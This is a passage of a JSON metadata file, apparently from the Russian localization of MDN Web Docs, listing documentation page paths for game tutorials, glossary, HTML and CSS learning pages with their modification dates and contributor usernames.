- "modified": "2019-09-05T03:59:32.664Z",
- "contributors": [
- "ekirpichyov",
- "pustoyM",
- "redbulled",
- "Abduscius",
- "netmag",
- "wbamberg",
- "kirkland",
- "lordbekket",
- "ccartrec"
- ]
- },
- "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls": {
- "modified": "2020-02-06T10:29:26.734Z",
- "contributors": [
- "alexerisov",
- "ekirpichyov",
- "wbamberg",
- "ccartrec",
- "Yuriy-Ka"
- ]
- },
- "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win": {
- "modified": "2019-09-05T04:02:36.418Z",
- "contributors": [
- "ekirpichyov",
- "VsevolodIvanov",
- "netmag"
- ]
- },
- "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Заключение": {
- "modified": "2020-05-27T13:39:22.186Z",
- "contributors": [
- "S-inTheory",
- "fedev",
- "ekirpichyov",
- "netmag"
- ]
- },
- "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Обнаружение_столкновений": {
- "modified": "2020-05-27T13:47:02.328Z",
- "contributors": [
- "S-inTheory",
- "alexerisov",
- "ekirpichyov",
- "BrightsDays",
- "wbamberg",
- "DanInSpace104"
- ]
- },
- "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Переместить_мяч": {
- "modified": "2019-09-05T03:56:26.312Z",
- "contributors": [
- "ekirpichyov",
- "Horbach_Andrii",
- "wbamberg",
- "W-A-D",
- "HellLena"
- ]
- },
- "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создаем_зону_кирпичей": {
- "modified": "2019-09-05T04:00:55.487Z",
- "contributors": [
- "ekirpichyov",
- "netmag",
- "wbamberg",
- "DanInSpace104"
- ]
- },
- "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создание_Canvas_и_рисование_на_нём": {
- "modified": "2019-09-05T03:54:58.102Z",
- "contributors": [
- "ekirpichyov",
- "wbamberg",
- "W-A-D",
- "HellLena"
- ]
- },
- "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Управление_мышью": {
- "modified": "2020-05-27T13:59:03.040Z",
- "contributors": [
- "S-inTheory",
- "ekirpichyov",
- "Merius",
- "netmag"
- ]
- },
- "Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation": {
- "modified": "2019-03-18T21:45:23.068Z",
- "contributors": [
- "wbamberg",
- "maxypayne"
- ]
- },
- "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser": {
- "modified": "2020-02-21T09:29:06.831Z",
- "contributors": [
- "SpawnLeon",
- "BVaflick",
- "wbamberg",
- "djigach"
- ]
- },
- "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Bounce_off_the_walls": {
- "modified": "2019-07-13T11:04:44.018Z",
- "contributors": [
- "BVaflick",
- "AntonySawyer"
- ]
- },
- "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Game_over": {
- "modified": "2019-07-04T10:47:35.001Z",
- "contributors": [
- "BVaflick"
- ]
- },
- "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Initialize_the_framework": {
- "modified": "2020-05-27T14:06:50.271Z",
- "contributors": [
- "S-inTheory",
- "BVaflick",
- "VsevolodIvanov",
- "wbamberg",
- "djigach"
- ]
- },
- "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Load_the_assets_and_print_them_on_screen": {
- "modified": "2020-05-27T14:16:50.797Z",
- "contributors": [
- "S-inTheory",
- "Surf12",
- "BVaflick",
- "wbamberg",
- "djigach"
- ]
- },
- "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Move_the_ball": {
- "modified": "2020-05-27T14:22:37.560Z",
- "contributors": [
- "S-inTheory",
- "BVaflick",
- "wbamberg",
- "djigach"
- ]
- },
- "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Physics": {
- "modified": "2019-07-13T11:03:00.205Z",
- "contributors": [
- "BVaflick",
- "juliasheleva",
- "wbamberg",
- "djigach"
- ]
- },
- "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Scaling": {
- "modified": "2020-05-27T14:30:34.825Z",
- "contributors": [
- "S-inTheory",
- "BVaflick",
- "wbamberg",
- "djigach"
- ]
- },
- "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Жизни": {
- "modified": "2020-07-02T08:17:43.022Z",
- "contributors": [
- "f1reSong",
- "BVaflick"
- ]
- },
- "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Обработка_коллизий": {
- "modified": "2019-07-13T11:08:36.093Z",
- "contributors": [
- "BVaflick"
- ]
- },
- "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Очки": {
- "modified": "2019-07-13T11:09:17.012Z",
- "contributors": [
- "BVaflick"
- ]
- },
- "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Платформа_и_управление": {
- "modified": "2019-07-13T11:05:39.887Z",
- "contributors": [
- "BVaflick"
- ]
- },
- "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Победа": {
- "modified": "2019-07-04T12:16:45.863Z",
- "contributors": [
- "BVaflick"
- ]
- },
- "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Создание_кирпичей": {
- "modified": "2019-07-13T11:07:30.266Z",
- "contributors": [
- "BVaflick"
- ]
- },
- "Games/Анатомия": {
- "modified": "2020-09-16T08:22:06.866Z",
- "contributors": [
- "T-EVA-01",
- "achernin+"
- ]
- },
- "Games/Ввод": {
- "modified": "2020-01-09T13:42:58.936Z",
- "contributors": [
- "idushii",
- "nomo3919",
- "BVaflick",
- "RFG-G"
- ]
- },
- "Games/Инструменты": {
- "modified": "2019-01-17T01:51:17.038Z",
- "contributors": [
- "wbamberg",
- "Cyganov"
- ]
- },
- "Games/Инструменты/asm.js": {
- "modified": "2019-06-20T10:10:26.692Z",
- "contributors": [
- "jkulvich",
- "wbamberg",
- "Cyganov"
- ]
- },
- "Glossary/Accessibility_tree": {
- "modified": "2020-10-23T07:48:08.061Z",
- "contributors": [
- "chrisdavidmills",
- "VerZsuT",
- "lolyanepizdi"
- ]
- },
- "Glossary/Block": {
- "modified": "2019-03-23T22:09:54.924Z",
- "contributors": [
- "DashPisareva",
- "Sheppy"
- ]
- },
- "Glossary/Block/CSS": {
- "modified": "2019-03-23T22:09:55.008Z",
- "contributors": [
- "DashPisareva"
- ]
- },
- "Glossary/Block/Скриптинг": {
- "modified": "2019-03-23T22:09:52.830Z",
- "contributors": [
- "DashPisareva"
- ]
- },
- "Glossary/Polifill": {
- "modified": "2019-03-23T22:18:26.835Z",
- "contributors": [
- "pk.prog"
- ]
- },
- "HTML/HTML5": {
- "modified": "2020-11-05T05:54:38.208Z",
- "contributors": [
- "ksam",
- "nikolay94",
- "SphinxKnight",
- "duhas1993",
- "CrawlOverYou",
- "Hamelion-gm",
- "MuradAz",
- "teoli",
- "BychekRU",
- "syam1123",
- "M57",
- "Jmunb",
- "repby",
- "uleming",
- "askhat",
- "andygol",
- "Grakov",
- "AxDaim"
- ]
- },
- "HTML/HTML5/Constraint_validation": {
- "modified": "2019-03-23T22:20:23.601Z",
- "contributors": [
- "lautsevich",
- "Pescao"
- ]
- },
- "HTML/HTML5/Введение_в_HTML5": {
- "modified": "2019-03-23T23:32:08.971Z",
- "contributors": [
- "Jmunb",
- "Grakov"
- ]
- },
- "Introduction_(alternate)": {
- "modified": "2019-03-23T23:38:23.548Z",
- "contributors": [
- "Nick_Pershin",
- "greybax"
- ]
- },
- "Learn": {
- "modified": "2020-10-04T14:26:11.837Z",
- "contributors": [
- "akariZ",
- "bytensky",
- "methodx",
- "SphinxKnight",
- "boxa6",
- "dmitriy134",
- "svarlamov",
- "bezik",
- "gitzizou",
- "zmux",
- "tagir000",
- "BychekRU",
- "sunsetninja",
- "JacobPython",
- "Evgeny_Kurkin",
- "uleming",
- "arbatskiy",
- "Radewqa",
- "Semegen",
- "YuliaOksymets",
- "Jeremie"
- ]
- },
- "Learn/CSS": {
- "modified": "2020-07-16T22:25:37.223Z",
- "contributors": [
- "Ivan961",
- "binxer",
- "skrikl",
- "izhurav",
- "alexbs",
- "sborenko",
- "niktariy",
- "bezik",
- "Shychara",
- "kolanski",
- "VladdOs",
- "BychekRU",
- "uleming",
- "Andrew_Pfeiffer"
- ]
- },
- "Learn/CSS/Building_blocks": {
- "modified": "2020-07-16T22:28:09.658Z",
- "contributors": [
- "Ivan961",
- "chrisdavidmills"
- ]
- },
- "Learn/CSS/Building_blocks/Advanced_styling_effects": {
- "modified": "2020-07-16T22:28:22.659Z",
- "contributors": [
- "Ivan961"
- ]
- },
- "Learn/CSS/Building_blocks/Backgrounds_and_borders": {
- "modified": "2020-11-06T03:37:34.340Z",
- "contributors": [
- "AlexUS",
- "sadmice",
- "Thekarov",
- "Ivan961"
- ]
- },
- "Learn/CSS/Building_blocks/Cascade_and_inheritance": {
- "modified": "2020-12-04T09:24:49.879Z",
- "contributors": [
- "RoPy73",
- "at940266",
- "superyasha2",
- "k0w4lk",
- "RadDeepton",
- "Lyla",
- "fishr-flash",
- "shade0602",
- "Ivan961",
- "borshagovskij"
- ]
- },
- "Learn/CSS/Building_blocks/Debugging_CSS": {
- "modified": "2020-10-15T22:26:31.777Z",
- "contributors": [
- "shade0602",
- "Ivan961"
- ]
- },
- "Learn/CSS/Building_blocks/Handling_different_text_directions": {
- "modified": "2020-07-16T22:29:14.338Z",
- "contributors": [
- "Ivan961"
- ]
- },
- "Learn/CSS/Building_blocks/Images_media_form_elements": {
- "modified": "2020-07-16T22:29:26.428Z",
- "contributors": [
- "shade0602",
- "Ivan961"
- ]
- },
- "Learn/CSS/Building_blocks/Organizing": {
- "modified": "2020-07-16T22:29:32.476Z",
- "contributors": [
- "Ivan961"
- ]
- },
- "Learn/CSS/Building_blocks/Overflowing_content": {
- "modified": "2020-10-29T13:12:58.938Z",
- "contributors": [
- "velheor24",
- "Ivan961"
- ]
- },
- "Learn/CSS/Building_blocks/Sizing_items_in_CSS": {
- "modified": "2020-07-16T22:29:22.613Z",
- "contributors": [
- "Ivan961"
- ]
- },
- "Learn/CSS/Building_blocks/Styling_tables": {
- "modified": "2020-07-16T22:28:18.695Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg",
- "Maxim-Bernashevsky"
- ]
- },
- "Learn/CSS/Building_blocks/The_box_model": {
- "modified": "2020-11-06T13:09:05.376Z",
- "contributors": [
- "at940266",
- "AlexUS",
- "mvictorl",
- "velheor24",
- "yedyharova22",
- "matropsycat",
- "k0w4lk",
- "EmperorPeter3",
- "Ivan961"
- ]
- },
- "Learn/CSS/Building_blocks/Values_and_units": {
- "modified": "2020-08-26T08:49:20.533Z",
- "contributors": [
- "isakura313",
- "shade0602",
- "Ivan961"
- ]
- },
- "Learn/CSS/Building_blocks/Каскад_задачи": {
- "modified": "2020-10-01T14:31:53.395Z",
- "contributors": [
- "at940266"
- ]
- },
- "Learn/CSS/Building_blocks/Селекторы": {
- "modified": "2020-07-19T06:45:12.608Z",
- "contributors": [
- "k0w4lk",
- "Ivan961",
- "BADNaMe-RK"
- ]
- },
- "Learn/CSS/Building_blocks/Селекторы/Attribute_selectors": {
- "modified": "2020-10-08T15:38:42.541Z",
- "contributors": [
- "at940266",
- "k0w4lk",
- "Ivan961"
- ]
- },
- "Learn/CSS/Building_blocks/Селекторы/Combinators": {
- "modified": "2020-12-07T19:30:35.658Z",
- "contributors": [
- "RoPy73",
- "at940266",
- "anna.bunakova",
- "sovushka-utrom",
- "Ivan961"
- ]
- },
- "Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_pseudo-elements": {
- "modified": "2020-10-14T14:08:41.639Z",
- "contributors": [
- "at940266",
- "anna.bunakova",
- "Ivan961"
- ]
- },
- "Learn/CSS/Building_blocks/Селекторы/Type_Class_and_ID_Selectors": {
- "modified": "2020-10-07T14:15:51.046Z",
- "contributors": [
- "at940266",
- "ctmyxa",
- "k0w4lk",
- "Ivan961"
- ]
- },
- "Learn/CSS/Building_blocks/Селекторы/Селекторы_Задачи": {
- "modified": "2020-10-28T14:57:16.890Z",
- "contributors": [
- "at940266"
- ]
- },
- "Learn/CSS/CSS_layout": {
- "modified": "2020-11-04T06:48:54.216Z",
- "contributors": [
- "chuuddo",
- "rookhive",
- "engine-r",
- "opereverzeva",
- "skrikl",
- "marksq",
- "valeryvitkus",
- "chrisdavidmills"
- ]
- },
- "Learn/CSS/CSS_layout/Flexbox": {
- "modified": "2020-07-28T14:20:24.419Z",
- "contributors": [
- "Dmitrjj_Klat",
- "shade0602",
- "dastier",
- "BuzzardSX",
- "egorgrin",
- "kublahanov",
- "janglewood",
- "greenkey",
- "SukachevAlex",
- "Shururup",
- "AlexZetto",
- "j-and",
- "AlexSND",
- "rhiter"
- ]
- },
- "Learn/CSS/CSS_layout/Floats": {
- "modified": "2020-08-08T09:35:44.432Z",
- "contributors": [
- "shade0602",
- "sinai"
- ]
- },
- "Learn/CSS/CSS_layout/Floats_skills": {
- "modified": "2020-09-01T06:51:07.528Z",
- "contributors": [
- "shade0602"
- ]
- },
- "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension": {
- "modified": "2020-07-16T22:27:25.007Z",
- "contributors": [
- "mbalabash"
- ]
- },
- "Learn/CSS/CSS_layout/Grids": {
- "modified": "2020-07-27T09:14:16.796Z",
- "contributors": [
- "shade0602",
- "Dissolvent",
- "kublahanov",
- "Dagger00",
- "slychai85"
- ]
- },
- "Learn/CSS/CSS_layout/Introduction": {
- "modified": "2020-07-19T12:27:41.774Z",
- "contributors": [
- "nsvintitskiy",
- "shade0602",
- "Mkrtychiyants",
- "krytoupapa",
- "zlyh",
- "Novo"
- ]
- },
- "Learn/CSS/CSS_layout/Positioning": {
- "modified": "2020-09-01T06:46:51.887Z",
- "contributors": [
- "shade0602"
- ]
- },
- "Learn/CSS/CSS_layout/Practical_positioning_examples": {
- "modified": "2020-07-16T22:26:49.409Z",
- "contributors": [
- "slychai85"
- ]
- },
- "Learn/CSS/CSS_layout/Макет_с_несколькими_столбцами": {
- "modified": "2020-09-06T07:21:18.080Z",
- "contributors": [
- "shade0602"
- ]
- },
- "Learn/CSS/CSS_layout/Навыки_Multicol": {
- "modified": "2020-09-07T06:45:08.142Z",
- "contributors": [
- "shade0602"
- ]
- },
- "Learn/CSS/CSS_layout/Навыки_позиционирования": {
- "modified": "2020-09-07T06:09:02.193Z",
- "contributors": [
- "shade0602"
- ]
- },
- "Learn/CSS/CSS_layout/Нормальный_поток": {
- "modified": "2020-10-13T15:21:40.503Z",
- "contributors": [
- "mvictorl",
- "nsvintitskiy",
- "SoMuchEffort"
- ]
- },
- "Learn/CSS/CSS_layout/Отзывчивый_дизайн": {
- "modified": "2020-10-31T07:15:02.288Z",
- "contributors": [
- "shade0602"
- ]
- },
- "Learn/CSS/CSS_properties": {
- "modified": "2020-07-16T22:25:39.788Z",
- "contributors": [
- "sviter"
- ]
- },
- "Learn/CSS/First_steps": {
- "modified": "2020-07-16T22:27:40.530Z",
- "contributors": [
- "Khaidarov-Dinar",
- "Ivan961",
- "karina-vas",
- "ustyar",
- "Tortik217",
- "TheZavitaev"
- ]
- },
- "Learn/CSS/First_steps/Getting_started": {
- "modified": "2020-07-16T22:27:52.241Z",
- "contributors": [
- "Ivan961",
- "Tortik217"
- ]
- },
- "Learn/CSS/First_steps/How_CSS_works": {
- "modified": "2020-11-30T20:19:36.865Z",
- "contributors": [
- "RoPy73",
- "XrestRus",
- "zhukov-daniil",
- "Onberfrest",
- "Shterneregen",
- "Ivan961",
- "Immdevrov"
- ]
- },
- "Learn/CSS/First_steps/Using_your_new_knowledge": {
- "modified": "2020-12-03T17:31:51.841Z",
- "contributors": [
- "RoPy73",
- "Ivan961"
- ]
- },
- "Learn/CSS/First_steps/Как_структурирован_CSS": {
- "modified": "2020-11-30T19:42:39.732Z",
- "contributors": [
- "RoPy73",
- "shade0602",
- "Ivan961",
- "Ultron5"
- ]
- },
- "Learn/CSS/First_steps/Что_такое_CSS": {
- "modified": "2020-10-15T22:23:15.801Z",
- "contributors": [
- "Ivan961",
- "fedev",
- "Tortik217"
- ]
- },
- "Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS": {
- "modified": "2020-07-16T22:28:13.122Z",
- "contributors": [
- "maxbo8",
- "trman",
- "VyacheslavLobanov"
- ]
- },
- "Learn/CSS/Styling_text": {
- "modified": "2020-10-23T11:04:50.232Z",
- "contributors": [
- "evstpet",
- "vagifrg",
- "maxbo8",
- "aFoxy",
- "snowydad",
- "izhurav",
- "pranay2063"
- ]
- },
- "Learn/CSS/Styling_text/Fundamentals": {
- "modified": "2020-12-04T09:07:58.038Z",
- "contributors": [
- "Vladimir_Grishechko",
- "rokra2005"
- ]
- },
- "Learn/CSS/Styling_text/Styling_links": {
- "modified": "2020-07-16T22:26:20.734Z",
- "contributors": [
- "shade0602",
- "fscholz",
- "Warginal",
- "nikolayandr"
- ]
- },
- "Learn/CSS/Styling_text/Веб_шрифты": {
- "modified": "2020-07-19T10:10:59.329Z",
- "contributors": [
- "nsvintitskiy",
- "shade0602"
- ]
- },
- "Learn/CSS/Styling_text/Задание:_Стилизирование_школьного_сайта": {
- "modified": "2020-07-16T22:26:27.408Z",
- "contributors": [
- "shade0602"
- ]
- },
- "Learn/CSS/Styling_text/Стилизация_списков": {
- "modified": "2020-07-16T22:26:14.698Z",
- "contributors": [
- "shade0602",
- "vedmibot"
- ]
- },
- "Learn/CSS/Как": {
- "modified": "2020-07-16T22:25:44.184Z",
- "contributors": [
- "code-timer",
- "Shychara"
- ]
- },
- "Learn/Common_questions": {
- "modified": "2020-07-16T22:35:26.905Z",
- "contributors": [
- "gadjetron",
- "stephaniehobson"
- ]
- },
- "Learn/Common_questions/Available_text_editors": {
- "modified": "2020-07-16T22:35:49.507Z",
- "contributors": [
- "Waterdark"
- ]
- },
- "Learn/Common_questions/Design_for_all_types_of_users": {
- "modified": "2020-07-16T22:35:51.073Z",
- "contributors": [
- "podocenov"
- ]
- },
- "Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine": {
- "modified": "2020-12-06T08:00:45.465Z",
- "contributors": [
- "valandis",
- "zloypatrik88",
- "Glazir",
- "slychai85"
- ]
- },
- "Learn/Common_questions/How_much_does_it_cost": {
- "modified": "2020-07-16T22:35:46.080Z",
- "contributors": [
- "Mandy_May",
- "lasteris"
- ]
- },
- "Learn/Common_questions/Thinking_before_coding": {
- "modified": "2020-12-06T16:34:14.303Z",
- "contributors": [
- "alkrukovsky",
- "aleshkanet",
- "GGWP"
- ]
- },
- "Learn/Common_questions/Upload_files_to_a_web_server": {
- "modified": "2020-09-08T06:46:28.361Z",
- "contributors": [
- "mykhailo.pradosh",
- "Sireler",
- "zumgluck",
- "Sturmtiger"
- ]
- },
- "Learn/Common_questions/Using_Github_pages": {
- "modified": "2020-07-16T22:35:52.047Z",
- "contributors": [
- "slychai85"
- ]
- },
- "Learn/Common_questions/What_software_do_I_need": {
- "modified": "2020-07-16T22:35:33.685Z",
- "contributors": [
- "Sturmtiger",
- "mr.raccoon.dev"
- ]
- },
- "Learn/Common_questions/set_up_a_local_testing_server": {
- "modified": "2020-11-20T18:21:00.561Z",
- "contributors": [
- "rsvato",
- "Daerzo",
- "masiacra",
- "saniaky",
- "slychai85",
- "VladSum",
- "llccought",
- "mrtaracqk",
- "lorsange",
- "Npmb",
- "cybspace",
- "teedree"
- ]
- },
- "Learn/Discover_browser_developer_tools": {
- "modified": "2020-07-16T22:35:48.058Z",
- "contributors": [
- "mirajane23",
- "fox67rus",
- "Metallman",
- "Dante103"
- ]
- },
- "Learn/Getting_started_with_the_web": {
- "modified": "2020-07-17T07:11:41.531Z",
- "contributors": [
- "leiner",
- "Anonymous",
- "RickRep",
- "skapesec",
- "BychekRU",
- "dmitrytar",
- "Evgeny_Kurkin",
- "arbatskiy",
- "BlizzardCode",
- "Neir",
- "Jeremie"
- ]
- },
- "Learn/Getting_started_with_the_web/CSS_basics": {
- "modified": "2020-12-05T13:19:11.721Z",
- "contributors": [
- "valandis",
- "avdalyan",
- "Anonymous",
- "KhaalAramaj",
- "skapesec",
- "Egokorok",
- "TimurShigapov",
- "BychekRU",
- "Evgeny_Kurkin",
- "Tamplier13",
- "Aleksej",
- "KuzAlenka"
- ]
- },
- "Learn/Getting_started_with_the_web/Dealing_with_files": {
- "modified": "2020-07-16T22:34:38.245Z",
- "contributors": [
- "EA5",
- "VladimirLogachev",
- "a-klimantow",
- "skapesec",
- "Egokorok",
- "popovichia",
- "BychekRU",
- "Evgeny_Kurkin",
- "Unregistered45",
- "Stopy",
- "Semegen"
- ]
- },
- "Learn/Getting_started_with_the_web/HTML_basics": {
- "modified": "2020-12-05T13:04:21.457Z",
- "contributors": [
- "valandis",
- "zuenko.michail",
- "budaevw",
- "bckpkol",
- "VladimirLogachev",
- "Yorgigiri",
- "skapesec",
- "Egokorok",
- "kolanski",
- "Denispok",
- "rakuznetsov",
- "balexander2",
- "BychekRU",
- "Stash_Venrici",
- "runicelf",
- "Evgeny_Kurkin",
- "Igor_K.",
- "rbakhilov"
- ]
- },
- "Learn/Getting_started_with_the_web/How_the_Web_works": {
- "modified": "2020-11-11T16:01:15.006Z",
- "contributors": [
- "Leenday",
- "Anonymous",
- "avdoshenkov",
- "skapesec",
- "TinaSuhanovskaya",
- "BychekRU",
- "runicelf",
- "bracket",
- "elcamlost"
- ]
- },
- "Learn/Getting_started_with_the_web/JavaScript_basics": {
- "modified": "2020-12-06T06:38:17.396Z",
- "contributors": [
- "valandis",
- "Anonymous",
- "sergeyshulzhenko",
- "exarces",
- "a-klimantow",
- "VKhist",
- "rinbik",
- "skapesec",
- "TimurShigapov",
- "ktolik",
- "Sania_JS",
- "BychekRU",
- "qdex",
- "Evgeny_Kurkin",
- "Fiksers",
- "bulayeu",
- "artem328",
- "cs5chester",
- "aos2006"
- ]
- },
- "Learn/Getting_started_with_the_web/Publishing_your_website": {
- "modified": "2020-12-06T08:02:19.427Z",
- "contributors": [
- "valandis",
- "Anonymous",
- "Sonntag09",
- "valerii15298",
- "AlexanderSpivak",
- "mickgo",
- "smo1in",
- "skapesec",
- "reksar",
- "nikin93",
- "Riptrip",
- "IrinaShv",
- "thelensky",
- "roikefir",
- "gnusee",
- "romkadmitrievka1997",
- "nemyxa",
- "bondpuoq",
- "Evgeny_Kurkin"
- ]
- },
- "Learn/Getting_started_with_the_web/What_will_your_website_look_like": {
- "modified": "2020-07-16T22:34:19.490Z",
- "contributors": [
- "skapesec",
- "gitzizou",
- "Egokorok",
- "BychekRU",
- "Evgeny_Kurkin",
- "NOSOROG",
- "Unregistered45",
- "dm_glazunov"
- ]
- },
- "Learn/Getting_started_with_the_web/Веб_и_веб_стандарты": {
- "modified": "2020-08-13T10:56:47.304Z",
- "contributors": [
- "bogpok"
- ]
- },
- "Learn/Getting_started_with_the_web/Установка_базового_программного_обеспечения": {
- "modified": "2020-07-16T22:34:11.219Z",
- "contributors": [
- "Anonymous",
- "skapesec",
- "rapaich",
- "Egokorok",
- "gitzizou",
- "boddik",
- "BychekRU",
- "Evgeny_Kurkin",
- "Unregistered45",
- "Neir"
- ]
- },
- "Learn/HTML": {
- "modified": "2020-07-16T22:22:23.267Z",
- "contributors": [
- "izhurav",
- "skapesec",
- "StrixG",
- "AKonia",
- "cezsored",
- "BychekRU",
- "Zevs"
- ]
- },
- "Learn/HTML/Forms": {
- "modified": "2020-07-16T22:21:01.609Z",
- "contributors": [
- "ryabv",
- "shmel3",
- "Zekkler",
- "neizerth",
- "PWasiliy",
- "SeryiMysh",
- "chrisdavidmills",
- "GaidaiAndrii",
- "bracket",
- "Dmitrij"
- ]
- },
- "Learn/HTML/Forms/How_to_build_custom_form_widgets": {
- "modified": "2020-07-16T22:21:58.194Z",
- "contributors": [
- "Avrisia",
- "outdever"
- ]
- },
- "Learn/HTML/Forms/How_to_structure_an_HTML_form": {
- "modified": "2020-09-23T12:04:06.961Z",
- "contributors": [
- "ryabv",
- "BADNaMe-RK",
- "outdever",
- "Lapagirl",
- "vedmibot",
- "SeryiMysh"
- ]
- },
- "Learn/HTML/Forms/Sending_forms_through_JavaScript": {
- "modified": "2020-11-20T12:05:04.254Z",
- "contributors": [
- "lazyelf472"
- ]
- },
- "Learn/HTML/Forms/Styling_HTML_forms": {
- "modified": "2020-07-16T22:21:32.230Z",
- "contributors": [
- "8nabo"
- ]
- },
- "Learn/HTML/Forms/Валидация_формы": {
- "modified": "2020-10-17T05:54:59.534Z",
- "contributors": [
- "raylyanway",
- "NadinHub",
- "Hydrock",
- "nikolai-shabalin",
- "JediKnightIT",
- "Ishayahu",
- "LbIdarka",
- "ivandoroshenko"
- ]
- },
- "Learn/HTML/Forms/Ваша_первая_HTML_форма": {
- "modified": "2020-07-16T22:21:06.805Z",
- "contributors": [
- "ryabv",
- "deicer"
- ]
- },
- "Learn/HTML/Forms/Отправка_и_Получение_данных_формы": {
- "modified": "2020-07-16T22:21:29.080Z",
- "contributors": [
- "Shabu-Dabi",
- "taletski",
- "isetpro",
- "melission",
- "Kamikadze4GAME",
- "ZveRuss",
- "Dzmitry_K"
- ]
- },
- "Learn/HTML/Forms/Стандартные_виджеты_форм": {
- "modified": "2020-12-02T02:50:19.864Z",
- "contributors": [
- "kan0neego",
- "lazyelf472",
- "Галина",
- "shade0602",
- "outdever",
- "Instantrec"
- ]
- },
- "Learn/HTML/Multimedia_and_embedding": {
- "modified": "2020-10-19T09:47:40.553Z",
- "contributors": [
- "vnezapno-ya",
- "rokra2005",
- "oleg3280",
- "Potemkiin",
- "alexfromvl",
- "Khulagen"
- ]
- },
- "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies": {
- "modified": "2020-08-09T06:54:55.688Z",
- "contributors": [
- "Soffity",
- "olga_ant",
- "AlexChebanenko",
- "shade0602",
- "shmel3",
- "nepiravno",
- "wizardbil",
- "ANetuk",
- "jswisher",
- "SoMuchEffort",
- "Roman216"
- ]
- },
- "Learn/HTML/Multimedia_and_embedding/Responsive_images": {
- "modified": "2020-12-01T05:25:47.513Z",
- "contributors": [
- "Furestry",
- "RoPy73",
- "jynweythek",
- "konstantin.k",
- "petr012",
- "CyberNinja2007",
- "Zobakka",
- "desentcare",
- "Khaidarov-Dinar",
- "meltsulaya",
- "shade0602",
- "ckomop0x",
- "Roman11000",
- "Bargamut",
- "rhopos",
- "airtwister",
- "AnnaNeu",
- "manayardmenkgtu",
- "alexzimakov",
- "fonpixel",
- "RenusAvin",
- "KuznetsEnvy"
- ]
- },
- "Learn/HTML/Multimedia_and_embedding/Video_and_audio_content": {
- "modified": "2020-07-16T22:24:57.026Z",
- "contributors": [
- "burevestnik-png",
- "shade0602",
- "wizardbil",
- "Osbelkz",
- "SedovDP",
- "FeruzOripov"
- ]
- },
- "Learn/HTML/Multimedia_and_embedding/Добавление_r_graphics_to_the_Web": {
- "modified": "2020-07-16T22:24:41.779Z",
- "contributors": [
- "Khaidarov-Dinar",
- "nepiravno",
- "AlexChebanenko",
- "shade0602",
- "Why-are-you-crying",
- "vedmibot"
- ]
- },
- "Learn/HTML/Multimedia_and_embedding/Изображения_в_HTML": {
- "modified": "2020-07-16T22:24:48.013Z",
- "contributors": [
- "qafarov33",
- "shade0602",
- "wizardbil",
- "WorpSeal",
- "xHelloverx",
- "Zekller",
- "Corba",
- "orcee",
- "nowember",
- "Aleksey_Esev",
- "KoS57",
- "InRedikaWB",
- "Kouler",
- "AliyevHrn",
- "sowdfr",
- "tav1313"
- ]
- },
- "Learn/HTML/Multimedia_and_embedding/заставка_Mozilla": {
- "modified": "2020-12-01T05:21:19.875Z",
- "contributors": [
- "Furestry",
- "RoPy73",
- "Zekkler",
- "AlekseyCorsello"
- ]
- },
- "Learn/HTML/Tables": {
- "modified": "2020-11-02T02:08:26.971Z",
- "contributors": [
- "AlexUS",
- "Excent163",
- "Khaidarov-Dinar",
- "streetsummit",
- "skapesec",
- "mariag"
- ]
- },
- "Learn/HTML/Tables/Advanced": {
- "modified": "2020-11-21T11:20:38.881Z",
- "contributors": [
- "RoPy73",
- "evstpet",
- "Zobakka",
- "Khaidarov-Dinar",
- "Why-are-you-crying",
- "Maxim-Bernashevsky"
- ]
- },
- "Learn/HTML/Tables/Basics": {
- "modified": "2020-11-20T13:19:06.723Z",
- "contributors": [
- "RoPy73",
- "CyberNinja2007",
- "Khaidarov-Dinar",
- "Bergamot",
- "nepiravno",
- "slychai85",
- "Maxim-Bernashevsky",
- "mariag"
- ]
- },
- "Learn/HTML/Tables/Structuring_planet_data": {
- "modified": "2020-07-16T22:25:30.870Z",
- "contributors": [
- "Khaidarov-Dinar",
- "Anonymous"
- ]
- },
- "Learn/HTML/Введение_в_HTML": {
- "modified": "2020-07-16T22:22:52.967Z",
- "contributors": [
- "boxa6",
- "skapesec",
- "VAskel",
- "SedovDP",
- "SergeyIrk",
- "s1lver",
- "alekaru",
- "Denispok",
- "AKonia",
- "pk.prog",
- "Vosik",
- "Cyganov"
- ]
- },
- "Learn/HTML/Введение_в_HTML/Advanced_text_formatting": {
- "modified": "2020-12-07T12:01:12.996Z",
- "contributors": [
- "valandis",
- "avdalyan",
- "Ivan961",
- "streetsummit",
- "dkrukouski",
- "boxa6",
- "Bodyhealer",
- "s.g.matinyan",
- "Dzhabarovm",
- "xap",
- "Chugou9",
- "slychai85",
- "glebsc",
- "pythonmag",
- "FeruzOripov"
- ]
- },
- "Learn/HTML/Введение_в_HTML/Debugging_HTML": {
- "modified": "2020-07-16T22:24:16.076Z",
- "contributors": [
- "IlyaDanilovich",
- "ekirpichyov",
- "boxa6",
- "krempson",
- "thoughtspile",
- "CruOne",
- "MariyaSka"
- ]
- },
